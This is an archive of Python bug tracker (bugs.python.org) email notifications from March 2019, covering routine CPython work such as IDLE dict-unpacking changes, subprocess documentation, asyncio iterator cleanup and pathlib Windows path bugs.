Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36404>
_______________________________________

From report at bugs.python.org  Fri Mar 22 22:05:15 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 23 Mar 2019 02:05:15 +0000
Subject: [issue36404] Document PendingDeprecationWarning as deprecated
Message-ID: <1553306715.62.0.156443019232.issue36404@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
assignee:  -> docs at python
components: +Documentation
nosy: +docs at python

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36404>
_______________________________________

From report at bugs.python.org  Fri Mar 22 22:06:28 2019
From: report at bugs.python.org (Inada Naoki)
Date: Sat, 23 Mar 2019 02:06:28 +0000
Subject: [issue36404] Document PendingDeprecationWarning as deprecated
Message-ID: <1553306788.62.0.3696945014.issue36404@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
keywords: +patch
pull_requests: +12456
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36404>
_______________________________________

From report at bugs.python.org  Fri Mar 22 22:41:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 23 Mar 2019 02:41:40 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553308900.56.0.363527240981.issue36301@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12457

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Fri Mar 22 22:52:02 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Sat, 23 Mar 2019 02:52:02 +0000
Subject: [issue36354] Use CreateProcessW for Python 2.7 on Windows.
In-Reply-To: <1552931150.38.0.949997697038.issue36354@roundup.psfhosted.org>
Message-ID: <1553309522.0.0.129120188138.issue36354@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

2.7 is in bug fix only mode, and even that ends at the end of this year. This seems more like a feature request than an actual bug; it works, but not great with Unicode in some cases (which describes large parts of Python 2).

It does look like Python 3.7 at least is using CreateProcessW already ( https://github.com/python/cpython/blob/3.7/Modules/_winapi.c#L1062 ), going along with the generally more Unicode-friendly vibe there.

The subprocess32 module on PyPI performed backports from Py3's subprocess to Py2 for POSIX systems; perhaps talk to the author (gregory.p.smith, whom I have nosied) about backporting similar improvements for the Windows side of the aisle?

----------
nosy: +gregory.p.smith, josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36354>
_______________________________________

From report at bugs.python.org  Sat Mar 23 00:11:30 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 04:11:30 +0000
Subject: [issue36286] Random failure in test_idle
In-Reply-To: <1552545245.76.0.0631461322093.issue36286@roundup.psfhosted.org>
Message-ID: <1553314290.8.0.777412669008.issue36286@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I reran test_cdfail and it did 2.7 million loops without failure.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36286>
_______________________________________

From report at bugs.python.org  Sat Mar 23 00:13:57 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 04:13:57 +0000
Subject: [issue25199] Idle: add cross-references from and to macosxSupport
In-Reply-To: <1442798722.75.0.48115840252.issue25199@psf.upfronthosting.co.za>
Message-ID: <1553314437.22.0.922039984919.issue25199@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue25199>
_______________________________________

From report at bugs.python.org  Sat Mar 23 00:14:21 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 04:14:21 +0000
Subject: [issue25225] Idle doc: redo Syntax Colors section
In-Reply-To: <1443049901.66.0.834655906435.issue25225@psf.upfronthosting.co.za>
Message-ID: <1553314461.78.0.905659384494.issue25225@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue25225>
_______________________________________

From report at bugs.python.org  Sat Mar 23 00:14:49 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 04:14:49 +0000
Subject: [issue21765] Idle: make 3.x HyperParser work with non-ascii
 identifiers.
In-Reply-To: <1402787574.99.0.986548729035.issue21765@psf.upfronthosting.co.za>
Message-ID: <1553314489.72.0.783882384254.issue21765@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21765>
_______________________________________

From report at bugs.python.org  Sat Mar 23 00:15:12 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 04:15:12 +0000
Subject: [issue27224] IDLE: editor versus grep line number differ
In-Reply-To: <1465093952.02.0.213444129237.issue27224@psf.upfronthosting.co.za>
Message-ID: <1553314512.63.0.288228667184.issue27224@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
assignee:  -> terry.reedy
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue27224>
_______________________________________

From report at bugs.python.org  Sat Mar 23 00:15:36 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 04:15:36 +0000
Subject: [issue24759] Idle: require tk 8.5 and ttk widgets,
 and drop unneeded code.
In-Reply-To: <1438294715.65.0.966229055462.issue24759@psf.upfronthosting.co.za>
Message-ID: <1553314536.38.0.991245235871.issue24759@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
components: +IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24759>
_______________________________________

From report at bugs.python.org  Sat Mar 23 01:35:34 2019
From: report at bugs.python.org (Ask Solem)
Date: Sat, 23 Mar 2019 05:35:34 +0000
Subject: [issue36403] AsyncIterator on 3.7: __aiter__ no longer honors finally
 blocks
In-Reply-To: <1553300107.21.0.160175909039.issue36403@roundup.psfhosted.org>
Message-ID: <1553319334.81.0.179984979178.issue36403@roundup.psfhosted.org>


Ask Solem <ask at celeryproject.org> added the comment:

Ah, so the extra call_soon means it needs a:

[code]
loop.run_until_complete(asyncio.sleep(0))```
[/code]

before the self.assertTrue(it.finally_executed)

to finish executing agen.close().

Why is create_task different? Does it execute an iteration of the generator immediately?

Seems good for this behavior to be consistent, but not sure how difficult that would be.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36403>
_______________________________________

From report at bugs.python.org  Sat Mar 23 01:43:09 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 05:43:09 +0000
Subject: [issue36405] Use dict unpacking in idlelib
Message-ID: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

Replace 3 occurrences of 'd = d1.copy(); d.update(d2)' pattern with 'd = {**d1, **d2}'.  Also remove unnecessary imports and uses of __main__.

----------
assignee: terry.reedy
components: IDLE
messages: 338643
nosy: terry.reedy
priority: normal
severity: normal
stage: commit review
status: open
title: Use dict unpacking in idlelib
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 01:50:47 2019
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0LDRgiDQndCw0LPQsNC10LI=?=)
Date: Sat, 23 Mar 2019 05:50:47 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1553320247.61.0.422531406424.issue36228@roundup.psfhosted.org>


????? ?????? <sidorovmarat1995 at gmail.com> added the comment:

ping @tim.peters

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Sat Mar 23 01:53:26 2019
From: report at bugs.python.org (Fred L. Drake, Jr.)
Date: Sat, 23 Mar 2019 05:53:26 +0000
Subject: [issue31822] Document that urllib.parse.{Defrag, Split,
 Parse}Result are namedtuples
In-Reply-To: <1508439273.05.0.213398074469.issue31822@psf.upfronthosting.co.za>
Message-ID: <1553320406.17.0.942938305349.issue31822@roundup.psfhosted.org>


Fred L. Drake, Jr. <fdrake at gmail.com> added the comment:

Unfortunately, when the implementation was migrated to use collections.namedtuple (a benefit), the _replace method wasn't extended to support the additional computed addresses for these types.

That would really be useful.

----------
nosy: +fdrake

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31822>
_______________________________________

From report at bugs.python.org  Sat Mar 23 01:59:29 2019
From: report at bugs.python.org (Fred L. Drake, Jr.)
Date: Sat, 23 Mar 2019 05:59:29 +0000
Subject: [issue31822] Document that urllib.parse.{Defrag, Split,
 Parse}Result are namedtuples
In-Reply-To: <1508439273.05.0.213398074469.issue31822@psf.upfronthosting.co.za>
Message-ID: <1553320769.37.0.477633780568.issue31822@roundup.psfhosted.org>


Fred L. Drake, Jr. <fdrake at gmail.com> added the comment:

To clarify: I'm not suggesting that an API expansion should be considered as part of this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31822>
_______________________________________

From report at bugs.python.org  Sat Mar 23 02:06:31 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 06:06:31 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553321191.5.0.606053730384.issue36405@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
keywords: +patch
pull_requests: +12458
stage: commit review -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 02:29:03 2019
From: report at bugs.python.org (Ask Solem)
Date: Sat, 23 Mar 2019 06:29:03 +0000
Subject: [issue36403] AsyncIterator on 3.7: __aiter__ no longer honors finally
 blocks
In-Reply-To: <1553300107.21.0.160175909039.issue36403@roundup.psfhosted.org>
Message-ID: <1553322543.94.0.514189526475.issue36403@roundup.psfhosted.org>


Ask Solem <ask at celeryproject.org> added the comment:

Perhaps we could add a self._finally to the event loop itself?
Like loop._ready, but a list of callbacks run_until_complete will call before returning?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36403>
_______________________________________

From report at bugs.python.org  Sat Mar 23 02:52:03 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 23 Mar 2019 06:52:03 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553323923.28.0.0865275816923.issue36405@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

It is not unnecessary. globals() is not the same as __main__.__dict__.

It may be possible to use a ChainMap instead of merging dicts, but I do not think it matters.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 02:58:13 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 23 Mar 2019 06:58:13 +0000
Subject: [issue36354] Use CreateProcessW for Python 2.7 on Windows.
In-Reply-To: <1552931150.38.0.949997697038.issue36354@roundup.psfhosted.org>
Message-ID: <1553324293.46.0.190856007608.issue36354@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

It is not enough to just replace CreateProcess with CreateProcessW. You will need to change also other related calls and resolve issues when you pass some arguments as 8-bit strings and other arguments as Unicode strings. You will need to backport a half of Python 3. At end, this will break someones code.

The correct way to solve this issue -- upgrade to Python 3, where these issues were solved more smoothly and contsistently.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36354>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:18:08 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 23 Mar 2019 07:18:08 +0000
Subject: [issue36286] Random failure in test_idle
In-Reply-To: <1552545245.76.0.0631461322093.issue36286@roundup.psfhosted.org>
Message-ID: <1553325488.92.0.763084954102.issue36286@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I can not reproduce the failure by running the script. But I get it when switch to other window or change the focus in other way. My guess is that I clicked on other window when ran tests.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36286>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:25:47 2019
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 23 Mar 2019 07:25:47 +0000
Subject: [issue33319] `subprocess.run` documentation doesn't tell is using
 `stdout=PIPE` safe
In-Reply-To: <1524229514.84.0.682650639539.issue33319@psf.upfronthosting.co.za>
Message-ID: <1553325947.25.0.739743931102.issue33319@roundup.psfhosted.org>


Change by Gregory P. Smith <greg at krypto.org>:


----------
keywords: +patch
pull_requests: +12459
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33319>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:36:33 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 23 Mar 2019 07:36:33 +0000
Subject: [issue36370] Check for PyErr_Occurred() after PyImport_GetModule().
In-Reply-To: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>
Message-ID: <1553326593.21.0.92383277308.issue36370@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:39:43 2019
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 23 Mar 2019 07:39:43 +0000
Subject: [issue36354] Use CreateProcessW for Python 2.7 on Windows.
In-Reply-To: <1552931150.38.0.949997697038.issue36354@roundup.psfhosted.org>
Message-ID: <1553326783.97.0.353034372516.issue36354@roundup.psfhosted.org>


Gregory P. Smith <greg at krypto.org> added the comment:

2.7 was closed to new features eons ago.

While subprocess32 backport might be a plausible home for this, I really can't handle doing anything significant for Windows within the confines of that project (it already makes me nervous that anyone is using subprocess32 on Windows at all).  

I don't intend to update subprocess32 with any new features at this point.

If you need an enhanced subprocess module for use on 2.7 on Windows I suggest creating your own fork/package for use in Anaconda 2.x distributions.

----------
resolution:  -> rejected
stage:  -> resolved
status: open -> closed
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36354>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:40:33 2019
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 23 Mar 2019 07:40:33 +0000
Subject: [issue33319] `subprocess.run` documentation doesn't tell is using
 `stdout=PIPE` safe
In-Reply-To: <1524229514.84.0.682650639539.issue33319@psf.upfronthosting.co.za>
Message-ID: <1553326833.0.0.501939822172.issue33319@roundup.psfhosted.org>


Gregory P. Smith <greg at krypto.org> added the comment:


New changeset 7a2e84c3488cfd6c108c6b41ff040825f1757566 by Gregory P. Smith in branch 'master':
bpo-33319: Clarify subprocess call docs. (GH-12508)
https://github.com/python/cpython/commit/7a2e84c3488cfd6c108c6b41ff040825f1757566


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33319>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:40:47 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 23 Mar 2019 07:40:47 +0000
Subject: [issue33319] `subprocess.run` documentation doesn't tell is using
 `stdout=PIPE` safe
In-Reply-To: <1524229514.84.0.682650639539.issue33319@psf.upfronthosting.co.za>
Message-ID: <1553326847.48.0.424903192654.issue33319@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12460

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33319>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:46:06 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 07:46:06 +0000
Subject: [issue23205] Unit test needed for IDLE's GrepDialog.py's findfiles()
In-Reply-To: <1420791360.73.0.110066531981.issue23205@psf.upfronthosting.co.za>
Message-ID: <1553327166.44.0.789531027486.issue23205@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Commit as-is.  I will consider the Path.glob findfiles while working on #36323.  Like walk, it yields in breadth first order.  Unlike walk, it requires relative paths (which #37323 may need anyway) and needs code to deal with that.

I like the breadth first listing from glob.  Would it make any sense to give users a choice?  What does unix grep do?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23205>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:46:17 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 23 Mar 2019 07:46:17 +0000
Subject: [issue33319] `subprocess.run` documentation doesn't tell is using
 `stdout=PIPE` safe
In-Reply-To: <1524229514.84.0.682650639539.issue33319@psf.upfronthosting.co.za>
Message-ID: <1553327177.99.0.754993266482.issue33319@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 9cdac5ced68f1d6ef5e1eee7552bb200b46adc23 by Miss Islington (bot) in branch '3.7':
bpo-33319: Clarify subprocess call docs. (GH-12508)
https://github.com/python/cpython/commit/9cdac5ced68f1d6ef5e1eee7552bb200b46adc23


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33319>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:50:17 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 07:50:17 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553327417.36.0.296917053382.issue36405@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:


New changeset 2b75155590eb42d25e474b776ee9fdcc4b3dc840 by Terry Jan Reedy in branch 'master':
bpo-36405: Use dict unpacking in idlelib (#12507)
https://github.com/python/cpython/commit/2b75155590eb42d25e474b776ee9fdcc4b3dc840


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:50:29 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 23 Mar 2019 07:50:29 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553327429.24.0.932490027386.issue36405@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12461

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:51:13 2019
From: report at bugs.python.org (Gregory P. Smith)
Date: Sat, 23 Mar 2019 07:51:13 +0000
Subject: [issue33319] `subprocess.run` documentation doesn't tell is using
 `stdout=PIPE` safe
In-Reply-To: <1524229514.84.0.682650639539.issue33319@psf.upfronthosting.co.za>
Message-ID: <1553327473.29.0.569474303924.issue33319@roundup.psfhosted.org>


Change by Gregory P. Smith <greg at krypto.org>:


----------
nosy:  -miss-islington
resolution:  -> fixed
stage: patch review -> commit review
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33319>
_______________________________________

From report at bugs.python.org  Sat Mar 23 03:55:46 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 07:55:46 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553327746.9.0.738176633827.issue36405@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I hit merge before seeing your post here.  I based the globals change on

>>> import __main__
>>> __main__.__dict__ is globals()
True

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 04:01:53 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 23 Mar 2019 08:01:53 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553328113.19.0.71023435658.issue36405@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

It is true only in the main script or REPL. But you executed that code in imported modules.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 04:06:41 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 08:06:41 +0000
Subject: [issue36286] Random failure in test_idle
In-Reply-To: <1552545245.76.0.0631461322093.issue36286@roundup.psfhosted.org>
Message-ID: <1553328401.76.0.610582532006.issue36286@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I found that clicking on the font sample was usually enough to cause a failure and restart.  Should we close this?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36286>
_______________________________________

From report at bugs.python.org  Sat Mar 23 04:08:58 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 23 Mar 2019 08:08:58 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553328538.02.0.110695338441.issue36405@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 00986ec5530f004fca2c2675a822c73f06283bdf by Miss Islington (bot) in branch '3.7':
bpo-36405: Use dict unpacking in idlelib (GH-12507)
https://github.com/python/cpython/commit/00986ec5530f004fca2c2675a822c73f06283bdf


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 04:28:41 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 23 Mar 2019 08:28:41 +0000
Subject: [issue36286] Random failure in test_idle
In-Reply-To: <1552545245.76.0.0631461322093.issue36286@roundup.psfhosted.org>
Message-ID: <1553329721.02.0.529257941088.issue36286@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36286>
_______________________________________

From report at bugs.python.org  Sat Mar 23 05:08:28 2019
From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=)
Date: Sat, 23 Mar 2019 09:08:28 +0000
Subject: [issue36318] Adding support for setting the "disabled" attribute of
 loggers from logging.config.dictConfig
In-Reply-To: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>
Message-ID: <1553332108.97.0.44734000941.issue36318@roundup.psfhosted.org>


G?ry <gery.ogam at gmail.com> added the comment:

> A bit late for that now

Okay, so disabled is a private attribute so it should never be used anyway. And as it not documented anywhere in the official Python documentation, I think the current situation is fine. Thank you for the explanation, I am closing this issue and the pull request.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Sat Mar 23 05:09:36 2019
From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=)
Date: Sat, 23 Mar 2019 09:09:36 +0000
Subject: [issue36318] Adding support for setting the "disabled" attribute of
 loggers from logging.config.dictConfig
In-Reply-To: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>
Message-ID: <1553332176.47.0.617986853178.issue36318@roundup.psfhosted.org>


Change by G?ry <gery.ogam at gmail.com>:


----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Sat Mar 23 05:22:33 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sat, 23 Mar 2019 09:22:33 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553332953.58.0.0948197874192.issue36345@roundup.psfhosted.org>


Change by St?phane Wirtel <stephane at wirtel.be>:


----------
pull_requests: +12462

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Sat Mar 23 05:55:46 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 23 Mar 2019 09:55:46 +0000
Subject: [issue36405] Use dict unpacking in idlelib
In-Reply-To: <1553319789.39.0.696260004783.issue36405@roundup.psfhosted.org>
Message-ID: <1553334946.49.0.394361394004.issue36405@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

You mean that the patch will execute the code in imported module where the two are not even equal.  So I will revert the '__main__' changes.

I found two differences in completion behavior with the patch.  One is a failure that should work, another is a success that should fail.  I will try to turn at least one of them into a new test that fails before the reversion and passes after.

----------
stage: patch review -> commit review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36405>
_______________________________________

From report at bugs.python.org  Sat Mar 23 06:10:58 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sat, 23 Mar 2019 10:10:58 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1552917459.29.0.295748589939.issue36345@roundup.psfhosted.org>
Message-ID: <1553335858.26.0.291223968777.issue36345@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@vstinner

I propose two PRs.

The first one will remove the Tools/scripts/serve.py file and update the Makefile.

The second and independent PR just add a new example in the documentation of wsgiref, the example is based on Tools/scripts/serve.py

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36345>
_______________________________________

From report at bugs.python.org  Sat Mar 23 06:31:54 2019
From: report at bugs.python.org (Maor Kleinberger)
Date: Sat, 23 Mar 2019 10:31:54 +0000
Subject: [issue36305] Inconsistent behavior of pathlib.WindowsPath with drive
 paths
In-Reply-To: <1552664225.98.0.0986812073641.issue36305@roundup.psfhosted.org>
Message-ID: <1553337114.0.0.664410355884.issue36305@roundup.psfhosted.org>


Maor Kleinberger <kmaork at gmail.com> added the comment:

Update after editing my PR - the bugs are:

1. WindowsPath('C:a').absolute() should return WindowsPath('C:\\d\\a') but returns WindowsPath('C:a').
This is caused by flawed logic in the parse_parts method of the _Flavour class.

2. WindowsPath('./b:a').absolute() should return WindowsPath('C:\\d\\b:a') but returns WindowsPath('b:a').
This is caused by the limited interface of parse_parts, and affects the Path.absolute, Path.expanduser and Path.__rtruediv__ methods.

3. WindowsPath('./b:a').resolve() should return WindowsPath('C:\\d\\b:a') but returns WindowsPath('b:a').
This is caused by missing logic in the resolve method and in Path.__str__

It'd be great if someone could review the PR so we can make progress with fixing the bugs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36305>
_______________________________________

From report at bugs.python.org  Sat Mar 23 06:47:04 2019
From: report at bugs.python.org (Julien Palard)
Date: Sat, 23 Mar 2019 10:47:04 +0000
Subject: [issue35528] [DOC] [LaTeX] Sphinx 2.0 uses GNU FreeFont as default
 for xelatex
In-Reply-To: <1545172472.78.0.788709270274.issue35528@psf.upfronthosting.co.za>
Message-ID: <1553338024.18.0.0820984587548.issue35528@roundup.psfhosted.org>


Change by Julien Palard <julien+python at palard.fr>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35528>
_______________________________________

From report at bugs.python.org  Sat Mar 23 07:06:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 23 Mar 2019 11:06:03 +0000
Subject: [issue36301] Add _Py_PreInitialize() function
In-Reply-To: <1552652968.58.0.444379921918.issue36301@roundup.psfhosted.org>
Message-ID: <1553339163.41.0.256632584732.issue36301@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 6d5ee973f0600a3a9444f569dcf0dd346bfa2a11 by Victor Stinner in branch 'master':
bpo-36301: Add _PyRuntimeState.preconfig (GH-12506)
https://github.com/python/cpython/commit/6d5ee973f0600a3a9444f569dcf0dd346bfa2a11


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36301>
_______________________________________

From report at bugs.python.org  Sat Mar 23 07:07:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 23 Mar 2019 11:07:40 +0000
Subject: [issue36345] Deprecate Tools/scripts/serve.py in favour of python -m
 http.server -d
In-Reply-To: <1553335858.26.0.291223968777.issue36345@roundup.psfhosted.org>
Message-ID: <CA+3bQGEHKvzJxpD_CNSOCX1ZUT0hCTgrc_j6YfzjzW40suj=Tw@mail.gmail.com>


STINNER Victor <vstinner at redhat.com> added the comment:

